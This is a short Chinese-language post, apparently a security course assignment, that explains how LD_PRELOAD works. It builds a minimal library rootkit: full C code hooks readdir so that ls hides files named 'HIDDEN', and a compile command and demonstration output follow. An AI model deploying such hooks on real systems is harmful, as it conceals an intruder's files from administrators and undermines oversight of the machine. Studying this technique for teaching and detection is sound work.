攻防Project2 - LD_PRELOAD實作library rootkit

LD_PRELOAD

LD_PRELOAD是Linux/Unix下的環境變數,他可以決定預先要載入的共享函式庫
它比LD_LIBRARY_PATH指定的共用函式庫還要優先,因此LD_PRELOAD裡的全域符號會蓋掉後面載入的同名全域符號
所以我們可以利用LD_PRELOAD來達成Linux/Unix下的hook,要達到rootkit的效果也就輕而易舉
但這只對動態連結的程式有效,因為靜態連結函式庫的代碼都已經包進程式中

實作

因為ls用到readdir這個函數來實作
所以我們覆蓋掉libc裡面的readdir來實作rootkit
做法很簡單,載入libc中原本的readdir(我們叫它old_readdir)
然後把結果中有”HIDDEN”的都濾掉

code如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/types.h>
void *libc = NULL;
struct dirent *(*old_readdir)(DIR *dirp);
struct dirent *readdir(DIR *dirp) {
struct dirent *ret = NULL;
if (NULL == libc) {
if (NULL == (libc = dlopen("/lib/libc.so.6", RTLD_LAZY))) {
goto END;
}
}
if (NULL == old_readdir) {
if (NULL == (old_readdir = dlsym(libc, "readdir"))) {
goto END;
}
}
while(1) {
ret = old_readdir(dirp);
if (ret && 0 == strcmp(ret->d_name, "HIDDEN")) {
continue;
}
break;
}
END:
return ret;
}

編譯一下

1
$ gcc -fPIC -shared -o rootkit.so rootkit.c

設置LD_PRELOAD並執行ls

1
2
3
4
$ /bin/ls
rootkit.c rootkit.so HIDDEN
$ env LD_PRELOAD=./rootkit.so /bin/ls
rootkit.c rootkit.so

即可發現當前目錄下名字為HIDDEN的都消失了,就算下參數-al也一樣